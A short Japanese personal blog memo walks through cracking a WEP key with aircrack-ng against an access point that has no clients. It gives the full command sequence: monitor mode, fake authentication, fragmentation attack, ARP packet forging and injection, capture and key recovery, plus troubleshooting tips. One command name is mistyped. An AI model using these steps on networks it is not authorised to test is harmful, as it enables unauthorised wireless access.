roid123's diary

技術系のメモ中心です

aircrack-ngを用いたWEPキー解析

今回はアクセスポイント (以下 AP) にクライアントが一つもつながっていない状態を想定して行った.
使用機器:ThinkPad X200, WLI-UC-G300N (無線子機)
実行環境:BackTrack 4 on VMWarePlayer

主な実行手順

  • 下準備
# modprobe rt2800usb
# BSSID = APのMACアドレス
# ESSID = APのSSID
# MYMAC = 無線LANインターフェイスのMACアドレス (ifconfig で確認可)
  • 子機を接続する
  • モニターモード起動 (mon0 という名前になる)
# airmon-g start wlan0 APのチャンネル (airodump-ng mon0 で近くのAPを調べられる)
  • Fragmentation Attackを実行*1
# aireplay-ng -1 0 -e $ESSID -a $BSSID -h $MYMAC mon0
# aireplay-ng -5 -b $BSSID -h $MYMAC mon0

aireplay-ng -4 -b $BSSID -h $MYMAC mon0 によるChopChop Attackでもよいが,時間がかかるので鍵長が短い場合に限られる.

  • ARPパケット生成 (fragment-****.xorは上で生成されたもの)
# packetforge-ng -0 -a $BSSID -h $MYMAC -k 255.255.255.255 -l 255.255.255.255 -y fragment-****.xor -w arp-request
  • ダンプ開始 (wepcap*.capに保存される)
# airodump-ng -c APのチャンネル --bssid $BSSID -w wepcap mon0
  • ARPパケットインジェクション開始
# aireplay-ng -2 -r arp-request mon0
  • ダンプファイルを基にクラック開始 (ある程度#Dataが溜まるのを待つ必要がある)
# aircrack-ng -a 1 -n WEPの鍵長 -b $BSSID wepcap*.cap

ここまでの作業で152bit WEPであっても5分かからないぐらいで解析できる.
SSIDステルスやMACアドレスフィルタリングが設定されている場合では,クライアントの接続が必要になってくる.
また,クライアントが存在する場合では別の方法を行うことができ,そちらの方が速いらしい.

参考サイト

ttp://www.aircrack-ng.org/doku.php?id=tutorial
ほとんどの手順は "How to crack WEP with no wireless clients ?" に記載されている.
クライアントが存在する場合は "How to crack WEP via a wireless client ?" に記載されている手順を行えばよい(と思う).

*1:"Not enough acks, 〜" と出て実行できない場合は,APとの距離が近すぎる (あるいは遠すぎる) か,compat-wirelessにパッチを当てる必要がある